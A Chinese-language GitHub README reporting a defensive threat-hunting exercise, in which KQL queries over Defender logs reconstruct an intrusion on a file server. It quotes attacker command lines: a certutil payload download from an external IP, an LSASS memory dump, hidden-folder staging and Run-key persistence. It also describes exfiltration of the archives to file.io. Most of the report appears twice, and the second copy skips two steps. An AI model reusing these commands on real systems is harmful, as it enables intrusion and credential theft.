Ruzzel-Sese-0/threat-hunting-challenge-azuki-cargo-hold
GitHub: Ruzzel-Sese-0/threat-hunting-challenge-azuki-cargo-hold
基于 Defender for Endpoint 日志的威胁狩猎实战报告,通过 KQL 查询逐步还原了一次完整的攻击入侵链。
Stars: 0 | Forks: 0
# 威胁狩猎报告:Azuki - Cargo Hold
## 情况
在 11 月 19 日获得初始访问权限后,网络监控检测到攻击者在约 72 小时后返回。深夜在文件服务器上观察到了可疑的横向移动和大量数据传输。
## 受损系统
AZUKI-FILESERVER01(通过从 AZUKI-SL 的横向移动访问)
## 可用证据
Microsoft Defender for Endpoint 日志
## 高级别 IoC 发现计划
- 检查 `DeviceLogonEvents`,查找异常或未经授权的登录以及通过 RDP 进行的横向移动
- 检查 `DeviceProcessEvents`,查找发现、暂存、恶意软件下载、凭据转储和数据渗出活动
- 检查 `DeviceRegistryEvents`,查找通过修改 Run 键实现的持久化
- 检查 `DeviceFileEvents`,查找暂存的凭据文件、压缩归档和反取证删除操作
- 检查 `DeviceNetworkEvents`,查找用于恶意软件传入和数据渗出的出站连接
## 采取的步骤
### 1. 初始访问
搜索 `DeviceLogonEvents` 以确定攻击者是否返回了该环境。账户 `kenji.sato` 于 11/22/2025, 12:27:53.748 AM 从 IP 地址 `159.26.106.98` 成功再次登录。
**使用的查询:**
```
DeviceLogonEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName == "azuki-sl"
| where ActionType == "LogonSuccess"
| where isnotempty(RemoteIP)
| project TimeGenerated, AccountName, DeviceName, ActionType, RemoteIP
| order by TimeGenerated asc
```
**输出:**
### 2. 横向移动
搜索 `DeviceProcessEvents` 以查找来自 `azuki-sl` 的横向移动迹象。攻击者于 11/22/2025, 12:38:47.832 AM 使用 `mstsc.exe` 执行命令 `"mstsc.exe" /V:10.1.0.188` 连接到了 `10.1.0.188`。
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName == "azuki-sl"
| where ProcessCommandLine contains "mstsc.exe"
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
搜索 `DeviceLogonEvents` 以确认该连接的目标。攻击者于 11/22/2025, 12:38:49.347 AM 通过 RDP 从 `azuki-sl`(IP `10.1.0.204`)使用账户 **fileadmin** 入侵了 **azuki-fileserver01**。
**使用的查询:**
```
DeviceLogonEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where ActionType == "LogonSuccess"
| where RemoteIP == "10.1.0.204"
| project TimeGenerated, AccountName, DeviceName, ActionType, RemoteIP
| order by TimeGenerated asc
```
**输出:**
### 3. 发现 — 账户和共享枚举
搜索 `DeviceProcessEvents` 以查找 `azuki-fileserver01` 上的枚举活动。攻击者使用 `net.exe` 识别本地用户、本地管理员和共享文件夹,然后检查了相邻主机的共享:
- `"net.exe" user` — 11/22/2025, 12:40:33.316 AM
- `"net.exe" localgroup administrators` — 11/22/2025, 12:40:46.015 AM
- `"net.exe" share` — 11/22/2025, 12:40:54.827 AM
- `"net.exe" localgroup administrators`(重复)— 11/22/2025, 12:41:16.708 AM
- `"net.exe" view \\10.1.0.188` — 11/22/2025, 12:42:01.957 AM
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where AccountName == "fileadmin"
| where ProcessCommandLine has "net"
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 4. 发现 — 权限和网络枚举
搜索 `DeviceProcessEvents` 以查找权限和网络上下文枚举。攻击者于 11/22/2025, 12:42:24.121 AM 运行 `whoami.exe /all` 以枚举当前会话的完整安全上下文,并于 11/22/2025, 12:42:46.365 AM 运行 `ipconfig.exe /all` 以枚举网络/域配置。
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where AccountName == "fileadmin"
| where ProcessCommandLine has "/all"
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 5. 暂存目录
搜索 `DeviceProcessEvents` 以查找隐藏暂存位置的证据。攻击者于 11/22/2025, 12:55:43.998 AM 使用 `"attrib.exe" +h +s C:\Windows\Logs\CBS` 将该目录从正常视图中隐藏,并掩盖了暂存在那里的工具/数据。
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where AccountName == "fileadmin"
| where ProcessCommandLine has "attrib"
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 6. 防御规避 — 滥用 LOLBin 下载恶意软件
搜索 `DeviceProcessEvents` 以查找用于将工具带入环境的 LOLBin 滥用行为。攻击者使用 `certutil.exe` 从 `http://78.141.196.6:7331/ex.ps1` 下载 payload 到隐藏的暂存目录:
```
"certutil.exe" -urlcache -f http://78.141.196.6:7331/ex.ps1 C:\Windows\Logs\CBS\ex.ps1
```
运行了 3 次:12:56:47.410 AM、12:58:24.777 AM 和 1:02:59.628 AM。
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where AccountName == "fileadmin"
| where ProcessCommandLine contains @"C:\Windows\Logs\CBS\"
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 7. 收集 — 凭据文件发现
搜索 `DeviceFileEvents` 以查找暂存的凭据数据。攻击者于 11/22/2025, 1:07:53.674 AM 使用以下命令将 `C:\FileShares\IT-Admin` 复制到隐藏目录 `C:\Windows\Logs\CBS\it-admin` 中:
```
xcopy.exe C:\FileShares\IT-Admin C:\Windows\Logs\CBS\it-admin /E /I /H /Y
```
这递归复制了共享内容(包括隐藏文件),并获取了 `IT-Admin-Passwords.csv`。
**使用的查询:**
```
DeviceFileEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where InitiatingProcessAccountName == "fileadmin"
| where FileName contains ".csv"
| project TimeGenerated, InitiatingProcessAccountName, DeviceName, FileName, InitiatingProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 8. 收集 — 压缩
搜索 `DeviceFileEvents` 以查找归档创建操作。攻击者于 11/22/2025, 1:30:10.142 AM 使用 `tar.exe` 压缩了暂存的凭据:
```
"tar.exe" -czf C:\Windows\Logs\CBS\credentials.tar.gz -C C:\Windows\Logs\CBS\it-admin
```
**使用的查询:**
```
DeviceFileEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where InitiatingProcessAccountName == "fileadmin"
| where FileName has_any (".zip", ".tar", ".gz")
| project TimeGenerated, InitiatingProcessAccountName, DeviceName, FileName, InitiatingProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 9. 凭据访问
搜索 `DeviceProcessEvents` 以查找凭据转储活动。攻击者于 11/22/2025, 2:24:44.390 AM 使用重命名的工具 `pd.exe` 转储了 LSASS 内存:
```
"pd.exe" -accepteula -ma 876 C:\Windows\Logs\CBS\lsass.dmp
```
重命名的二进制文件和非默认的文件名表明其试图规避基于特征码的检测。
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where InitiatingProcessAccountName == "fileadmin"
| where FileName contains ".exe"
| where ProcessCommandLine contains @"C:\Windows\Logs\CBS\"
| project TimeGenerated, InitiatingProcessAccountName, DeviceName, FileName, FolderPath, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 10. 渗出
搜索 `DeviceProcessEvents` 以查找出站数据传输。攻击者使用 `curl.exe` 三次将暂存的归档文件上传到 `https://file.io`:
- `credentials.tar.gz` - 1:59:54.275 AM
- `financial.tar.gz` - 2:00:01.033 AM
- `shipping.tar.gz` - 2:00:20.357 AM
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where InitiatingProcessAccountName == "fileadmin"
| where FileName contains ".exe"
| where ProcessCommandLine contains "tar.gz"
| project TimeGenerated, InitiatingProcessAccountName, DeviceName, FileName, FolderPath, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 11. 持久化
搜索 `DeviceRegistryEvents` 以查找自启动修改。攻击者于 11/22/2025, 2:10:50.825 AM 创建了一个名为 `FileShareSync` 的 Run 键项,伪装成合法的文件同步实用程序,指向一个隐藏的 PowerShell 脚本:
```
powershell -NoP -W Hidden -File C:\Windows\System32\svchost.ps1
```
**使用的查询:**
```
DeviceRegistryEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName == "azuki-fileserver01"
| where RegistryKey contains @"\run"
| project TimeGenerated, DeviceName, RegistryKey, RegistryValueData, RegistryValueName, RegistryValueType
| order by TimeGenerated asc
```
**输出:**
### 12. 反取证
搜索 `DeviceFileEvents` 以查找日志/历史记录篡改的证据。攻击者于 11/22/2025, 2:26:01.166 AM 删除了 `ConsoleHost_history.txt`,以清除入侵期间执行的 PowerShell 命令的明文记录。
**使用的查询:**
```
DeviceFileEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName == "azuki-fileserver01"
| where FileName contains "Console"
| project TimeGenerated, InitiatingProcessAccountName, DeviceName, FileName, InitiatingProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
## 时间轴事件
| 时间戳 | 事件 |
|---|---|
| 11/22/2025, 12:27:53.748 AM | kenji.sato 从 159.26.106.98 登录到 azuki-sl。 |
| 11/22/2025, 12:38:47.832 AM | 使用 mstsc.exe 连接到 10.1.0.188。 |
| 11/22/2025, 12:38:49.347 AM | fileadmin 通过 RDP 从 azuki-sl 登录到 azuki-fileserver01。 |
| 11/22/2025, 12:40:33.316 AM | `net.exe user` — 枚举本地用户。 |
| 11/22/2025, 12:40:46.015 AM | `net.exe localgroup administrators` — 枚举本地管理员。 |
| 11/22/2025, 12:40:54.827 AM | `net.exe share` — 枚举共享文件夹。 |
| 11/22/2025, 12:41:16.708 AM | `net.exe localgroup administrators` — 重复检查管理员。 |
| 11/22/2025, 12:42:01.957 AM | `net.exe view \\10.1.0.188` — 枚举相邻主机的共享。 |
| 11/22/2025, 12:42:24.121 AM | `whoami.exe /all` — 枚举当前权限/安全上下文。 |
| 11/22/2025, 12:42:46.365 AM | `ipconfig.exe /all` — 枚举网络/域配置。 |
| 11/22/2025, 12:55:43.998 AM | 通过 `attrib.exe +h +s C:\Windows\Logs\CBS` 创建隐藏的暂存目录。 |
| 11/22/2025, 12:56:47.410 AM | certutil.exe 下载 ex.ps1(第 1 次尝试)。 |
| 11/22/2025, 12:58:24.777 AM | certutil.exe 下载 ex.ps1(第 2 次尝试)。 |
| 11/22/2025, 1:02:59.628 AM | certutil.exe 下载 ex.ps1(第 3 次尝试)。 |
| 11/22/2025, 1:07:53.674 AM | 将 IT-Admin 共享复制到暂存目录;获取 IT-Admin-Passwords.csv。 |
| 11/22/2025, 1:30:10.142 AM | 通过 tar.exe 将凭据压缩为 credentials.tar.gz。 |
| 11/22/2025, 1:59:54.275 AM | credentials.tar.gz 渗出至 file.io。 |
| 11/22/2025, 2:00:01.033 AM | financial.tar.gz 渗出至 file.io。 |
| 11/22/2025, 2:00:20.357 AM | shipping.tar.gz 渗出至 file.io。 |
| 11/22/2025, 2:10:50.825 AM | 通过 Run 键 "FileShareSync" 建立持久化。 |
| 11/22/2025, 2:24:44.390 AM | 通过重命名的工具 pd.exe 转储 LSASS。 |
| 11/22/2025, 2:26:01.166 AM | ConsoleHost_history.txt 被删除(反取证)。 |
## MITRE ATT&CK 映射
| # | 活动 | 战术 | 技术 | ID |
|---|---|---|---|---|
| 1 | 以 kenji.sato 身份重新登录 | Initial Access | Valid Accounts | T1078 |
| 2 | 通过 mstsc.exe 经 RDP 横向移动到 azuki-fileserver01 | Lateral Movement | Remote Services: Remote Desktop Protocol | T1021.001 |
| 3 | `net.exe user` / `localgroup administrators` / `share` | Discovery | Account Discovery / Permission Groups Discovery | T1087 / T1069 |
| 4 | `net.exe view \\10.1.0.188` | Discovery | Network Share Discovery | T1135 |
| 5 | `whoami.exe /all` | Discovery | System Owner/User Discovery | T1033 |
| 6 | `ipconfig.exe /all` | Discovery | System Network Configuration Discovery | T1016 |
| 7 | 通过 `attrib.exe +h +s` 隐藏暂存目录 | Defense Evasion | Hide Artifacts: Hidden Files and Directories | T1564.001 |
| 8 | `certutil.exe` 下载 payload | Defense Evasion / Command and Control | Ingress Tool Transfer (LOLBin abuse) | T1105 |
| 9 | 通过 xcopy.exe 复制 IT-Admin 共享 | Collection | Data from Network Shared Drive | T1039 |
| 10 | 发现/存 IT-Admin-Passwords.csv | Credential Access / Collection | Unsecured Credentials / Credentials from Password Stores | T1552 / T1555 |
| 11 | `tar.exe` 创建归档 | Collection | Archive Collected Data | T1560 |
| 12 | 通过重命名的 pd.exe 转储 LSASS | Credential Access | OS Credential Dumping: LSASS Memory | T1003.001 |
| 13 | curl.exe 上传至 file.io | Exfiltration | Exfiltration Over Web Service | T1567 |
| 14 | Run 键持久化 "FileShareSync" | Persistence | Boot or Logon Autostart Execution: Registry Run Keys | T1547.001 |
| 15 | 删除 ConsoleHost_history.txt | Defense Evasion | Indicator Removal: Clear Command History | T1070.003 |
## 总结
在初始访问约 72 小时后,攻击者(`kenji.sato`)返回并使用 `fileadmin` 账户通过 RDP 从 `azuki-sl` 转向(Pivot)了 `azuki-fileserver01`。在文件服务器上立足后,攻击者进行了结构化的发现阶段——枚举本地用户、管理员、共享、当前权限和网络配置——随后创建了一个隐藏的暂存目录(`C:\Windows\Logs\CBS`)以掩盖进一步的活动。`certutil.exe` 被用于从外部主机拉取 payload,并且 IT-Admin 文件共享被复制到暂存目录中,产生了一个明文凭据文件(`IT-Admin-Passwords.csv`)。这些数据使用 `tar.exe` 进行了压缩,并连同财务和运输归档文件一起,通过 `curl.exe` 渗出到了匿名文件共享服务 `file.io`。攻击者还使用重命名的工具转储了 LSASS 内存以收集额外的凭据,通过伪装的 Run 键项(`FileShareSync`)建立了持久化,该项在每次登录时都会静默重新启动隐藏的 PowerShell 脚本,最后删除了 `ConsoleHost_history.txt` 以清除 PowerShell 命令踪迹。总而言之,这些活动反映了一个完整的第二阶段入侵:发现、暂存、凭据/数据收集、渗出、持久化和反取证——这与在地下论坛中泄露的供应商合同和定价数据相吻合。
## 情况
在 11 月 19 日获得初始访问权限后,网络监控检测到攻击者在约 72 小时后返回。深夜在文件服务器上观察到了可疑的横向移动和大量数据传输。
## 受损系统
AZUKI-FILESERVER01(通过从 AZUKI-SL 的横向移动访问)
## 可用证据
Microsoft Defender for Endpoint 日志
## 高级别 IoC 发现计划
- 检查 `DeviceLogonEvents`,查找异常或未经授权的登录以及通过 RDP 进行的横向移动
- 检查 `DeviceProcessEvents`,查找发现、暂存、恶意软件下载、凭据转储和数据渗出活动
- 检查 `DeviceRegistryEvents`,查找通过修改 Run 键实现的持久化
- 检查 `DeviceFileEvents`,查找暂存的凭据文件、压缩归档和反取证删除操作
- 检查 `DeviceNetworkEvents`,查找用于恶意软件传入和数据渗出的出站连接
## 采取的步骤
### 1. 初始访问
搜索 `DeviceLogonEvents` 以确定攻击者是否返回了该环境。账户 `kenji.sato` 于 11/22/2025, 12:27:53.748 AM 从 IP 地址 `159.26.106.98` 成功再次登录。
**使用的查询:**
```
DeviceLogonEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName == "azuki-sl"
| where ActionType == "LogonSuccess"
| where isnotempty(RemoteIP)
| project TimeGenerated, AccountName, DeviceName, ActionType, RemoteIP
| order by TimeGenerated asc
```
**输出:**
### 2. 横向移动
搜索 `DeviceProcessEvents` 以查找来自 `azuki-sl` 的横向移动迹象。攻击者于 11/22/2025, 12:38:47.832 AM 使用 `mstsc.exe` 执行命令 `"mstsc.exe" /V:10.1.0.188` 连接到了 `10.1.0.188`。
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName == "azuki-sl"
| where ProcessCommandLine contains "mstsc.exe"
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
搜索 `DeviceLogonEvents` 以确认该连接的目标。攻击者于 11/22/2025, 12:38:49.347 AM 通过 RDP 从 `azuki-sl`(IP `10.1.0.204`)使用账户 **fileadmin** 入侵了 **azuki-fileserver01**。
**使用的查询:**
```
DeviceLogonEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where ActionType == "LogonSuccess"
| where RemoteIP == "10.1.0.204"
| project TimeGenerated, AccountName, DeviceName, ActionType, RemoteIP
| order by TimeGenerated asc
```
**输出:**
### 3. 发现 — 账户和共享枚举
搜索 `DeviceProcessEvents` 以查找 `azuki-fileserver01` 上的枚举活动。攻击者使用 `net.exe` 识别本地用户、本地管理员和共享文件夹,然后检查了相邻主机的共享:
- `"net.exe" user` — 11/22/2025, 12:40:33.316 AM
- `"net.exe" localgroup administrators` — 11/22/2025, 12:40:46.015 AM
- `"net.exe" share` — 11/22/2025, 12:40:54.827 AM
- `"net.exe" localgroup administrators`(重复)— 11/22/2025, 12:41:16.708 AM
- `"net.exe" view \\10.1.0.188` — 11/22/2025, 12:42:01.957 AM
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where AccountName == "fileadmin"
| where ProcessCommandLine has "net"
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 4. 发现 — 权限和网络枚举
搜索 `DeviceProcessEvents` 以查找权限和网络上下文枚举。攻击者于 11/22/2025, 12:42:24.121 AM 运行 `whoami.exe /all` 以枚举当前会话的完整安全上下文,并于 11/22/2025, 12:42:46.365 AM 运行 `ipconfig.exe /all` 以枚举网络/域配置。
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where AccountName == "fileadmin"
| where ProcessCommandLine has "/all"
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 5. 暂存目录
搜索 `DeviceProcessEvents` 以查找隐藏暂存位置的证据。攻击者于 11/22/2025, 12:55:43.998 AM 使用 `"attrib.exe" +h +s C:\Windows\Logs\CBS` 将该目录从正常视图中隐藏,并掩盖了暂存在那里的工具/数据。
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where AccountName == "fileadmin"
| where ProcessCommandLine has "attrib"
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 6. 防御规避 — 滥用 LOLBin 下载恶意软件
搜索 `DeviceProcessEvents` 以查找用于将工具带入环境的 LOLBin 滥用行为。攻击者使用 `certutil.exe` 从 `http://78.141.196.6:7331/ex.ps1` 下载 payload 到隐藏的暂存目录:
```
"certutil.exe" -urlcache -f http://78.141.196.6:7331/ex.ps1 C:\Windows\Logs\CBS\ex.ps1
```
运行了 3 次:12:56:47.410 AM、12:58:24.777 AM 和 1:02:59.628 AM。
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where AccountName == "fileadmin"
| where ProcessCommandLine contains @"C:\Windows\Logs\CBS\"
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 7. 收集 — 凭据文件发现
搜索 `DeviceFileEvents` 以查找暂存的凭据数据。攻击者于 11/22/2025, 1:07:53.674 AM 使用以下命令将 `C:\FileShares\IT-Admin` 复制到隐藏目录 `C:\Windows\Logs\CBS\it-admin` 中:
```
xcopy.exe C:\FileShares\IT-Admin C:\Windows\Logs\CBS\it-admin /E /I /H /Y
```
这递归复制了共享内容(包括隐藏文件),并获取了 `IT-Admin-Passwords.csv`。
**使用的查询:**
```
DeviceFileEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where InitiatingProcessAccountName == "fileadmin"
| where FileName contains ".csv"
| project TimeGenerated, InitiatingProcessAccountName, DeviceName, FileName, InitiatingProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 8. 收集 — 压缩
搜索 `DeviceFileEvents` 以查找归档创建操作。攻击者于 11/22/2025, 1:30:10.142 AM 使用 `tar.exe` 压缩了暂存的凭据:
```
"tar.exe" -czf C:\Windows\Logs\CBS\credentials.tar.gz -C C:\Windows\Logs\CBS\it-admin
```
**使用的查询:**
```
DeviceFileEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where InitiatingProcessAccountName == "fileadmin"
| where FileName has_any (".zip", ".tar", ".gz")
| project TimeGenerated, InitiatingProcessAccountName, DeviceName, FileName, InitiatingProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 10. 渗出
搜索 `DeviceProcessEvents` 以查找出站数据传输。攻击者使用 `curl.exe` 三次将暂存的归档文件上传到 `https://file.io`:
- `credentials.tar.gz` - 1:59:54.275 AM
- `financial.tar.gz` - 2:00:01.033 AM
- `shipping.tar.gz` - 2:00:20.357 AM
**使用的查询:**
```
DeviceProcessEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName contains "azuki"
| where InitiatingProcessAccountName == "fileadmin"
| where FileName contains ".exe"
| where ProcessCommandLine contains "tar.gz"
| project TimeGenerated, InitiatingProcessAccountName, DeviceName, FileName, FolderPath, ProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
### 12. 反取证
搜索 `DeviceFileEvents` 以查找日志/历史记录篡改的证据。攻击者于 11/22/2025, 2:26:01.166 AM 删除了 `ConsoleHost_history.txt`,以清除入侵期间执行的 PowerShell 命令的明文记录。
**使用的查询:**
```
DeviceFileEvents
| where TimeGenerated between (datetime(2025-11-22) .. datetime(2025-11-24))
| where DeviceName == "azuki-fileserver01"
| where FileName contains "Console"
| project TimeGenerated, InitiatingProcessAccountName, DeviceName, FileName, InitiatingProcessCommandLine
| order by TimeGenerated asc
```
**输出:**
## 时间轴事件
| 时间戳 | 事件 |
|---|---|
| 11/22/2025, 12:27:53.748 AM | kenji.sato 从 159.26.106.98 登录到 azuki-sl。 |
| 11/22/2025, 12:38:47.832 AM | 使用 mstsc.exe 连接到 10.1.0.188。 |
| 11/22/2025, 12:38:49.347 AM | fileadmin 通过 RDP 从 azuki-sl 登录到 azuki-fileserver01。 |
| 11/22/2025, 12:40:33.316 AM | `net.exe user` — 枚举本地用户。 |
| 11/22/2025, 12:40:46.015 AM | `net.exe localgroup administrators` — 枚举本地管理员。 |
| 11/22/2025, 12:40:54.827 AM | `net.exe share` — 枚举共享文件夹。 |
| 11/22/2025, 12:41:16.708 AM | `net.exe localgroup administrators` — 重复检查管理员。 |
| 11/22/2025, 12:42:01.957 AM | `net.exe view \\10.1.0.188` — 枚举相邻主机的共享。 |
| 11/22/2025, 12:42:24.121 AM | `whoami.exe /all` — 枚举当前权限/安全上下文。 |
| 11/22/2025, 12:42:46.365 AM | `ipconfig.exe /all` — 枚举网络/域配置。 |
| 11/22/2025, 12:55:43.998 AM | 通过 `attrib.exe +h +s C:\Windows\Logs\CBS` 创建隐藏的暂存目录。 |
| 11/22/2025, 12:56:47.410 AM | certutil.exe 下载 ex.ps1(第 1 次尝试)。 |
| 11/22/2025, 12:58:24.777 AM | certutil.exe 下载 ex.ps1(第 2 次尝试)。 |
| 11/22/2025, 1:02:59.628 AM | certutil.exe 下载 ex.ps1(第 3 次尝试)。 |
| 11/22/2025, 1:07:53.674 AM | 将 IT-Admin 共享复制到暂存目录;获取 IT-Admin-Passwords.csv。 |
| 11/22/2025, 1:30:10.142 AM | 通过 tar.exe 将凭据压缩为 credentials.tar.gz。 |
| 11/22/2025, 1:59:54.275 AM | credentials.tar.gz 渗出至 file.io。 |
| 11/22/2025, 2:00:01.033 AM | financial.tar.gz 渗出至 file.io。 |
| 11/22/2025, 2:00:20.357 AM | shipping.tar.gz 渗出至 file.io。 |
| 11/22/2025, 2:10:50.825 AM | 通过 Run 键 "FileShareSync" 建立持久化。 |
| 11/22/2025, 2:24:44.390 AM | 通过重命名的工具 pd.exe 转储 LSASS。 |
| 11/22/2025, 2:26:01.166 AM | ConsoleHost_history.txt 被删除(反取证)。 |
## MITRE ATT&CK 映射
| # | 活动 | 战术 | 技术 | ID |
|---|---|---|---|---|
| 1 | 以 kenji.sato 身份重新登录 | Initial Access | Valid Accounts | T1078 |
| 2 | 通过 mstsc.exe 经 RDP 横向移动到 azuki-fileserver01 | Lateral Movement | Remote Services: Remote Desktop Protocol | T1021.001 |
| 3 | `net.exe user` / `localgroup administrators` / `share` | Discovery | Account Discovery / Permission Groups Discovery | T1087 / T1069 |
| 4 | `net.exe view \\10.1.0.188` | Discovery | Network Share Discovery | T1135 |
| 5 | `whoami.exe /all` | Discovery | System Owner/User Discovery | T1033 |
| 6 | `ipconfig.exe /all` | Discovery | System Network Configuration Discovery | T1016 |
| 7 | 通过 `attrib.exe +h +s` 隐藏暂存目录 | Defense Evasion | Hide Artifacts: Hidden Files and Directories | T1564.001 |
| 8 | `certutil.exe` 下载 payload | Defense Evasion / Command and Control | Ingress Tool Transfer (LOLBin abuse) | T1105 |
| 9 | 通过 xcopy.exe 复制 IT-Admin 共享 | Collection | Data from Network Shared Drive | T1039 |
| 10 | 发现/存 IT-Admin-Passwords.csv | Credential Access / Collection | Unsecured Credentials / Credentials from Password Stores | T1552 / T1555 |
| 11 | `tar.exe` 创建归档 | Collection | Archive Collected Data | T1560 |
| 12 | 通过重命名的 pd.exe 转储 LSASS | Credential Access | OS Credential Dumping: LSASS Memory | T1003.001 |
| 13 | curl.exe 上传至 file.io | Exfiltration | Exfiltration Over Web Service | T1567 |
| 14 | Run 键持久化 "FileShareSync" | Persistence | Boot or Logon Autostart Execution: Registry Run Keys | T1547.001 |
| 15 | 删除 ConsoleHost_history.txt | Defense Evasion | Indicator Removal: Clear Command History | T1070.003 |
## 总结
在初始访问约 72 小时后,攻击者(`kenji.sato`)返回并使用 `fileadmin` 账户通过 RDP 从 `azuki-sl` 转向(Pivot)了 `azuki-fileserver01`。在文件服务器上立足后,攻击者进行了结构化的发现阶段——枚举本地用户、管理员、共享、当前权限和网络配置——随后创建了一个隐藏的暂存目录(`C:\Windows\Logs\CBS`)以掩盖进一步的活动。`certutil.exe` 被用于从外部主机拉取 payload,并且 IT-Admin 文件共享被复制到暂存目录中,产生了一个明文凭据文件(`IT-Admin-Passwords.csv`)。这些数据使用 `tar.exe` 进行了压缩,并连同财务和运输归档文件一起,通过 `curl.exe` 渗出到了匿名文件共享服务 `file.io`。攻击者还使用重命名的工具转储了 LSASS 内存以收集额外的凭据,通过伪装的 Run 键项(`FileShareSync`)建立了持久化,该项在每次登录时都会静默重新启动隐藏的 PowerShell 脚本,最后删除了 `ConsoleHost_history.txt` 以清除 PowerShell 命令踪迹。总而言之,这些活动反映了一个完整的第二阶段入侵:发现、暂存、凭据/数据收集、渗出、持久化和反取证——这与在地下论坛中泄露的供应商合同和定价数据相吻合。标签:KQL查询, PE 加载器, 子域名变形, 安全报告, 高级威胁防御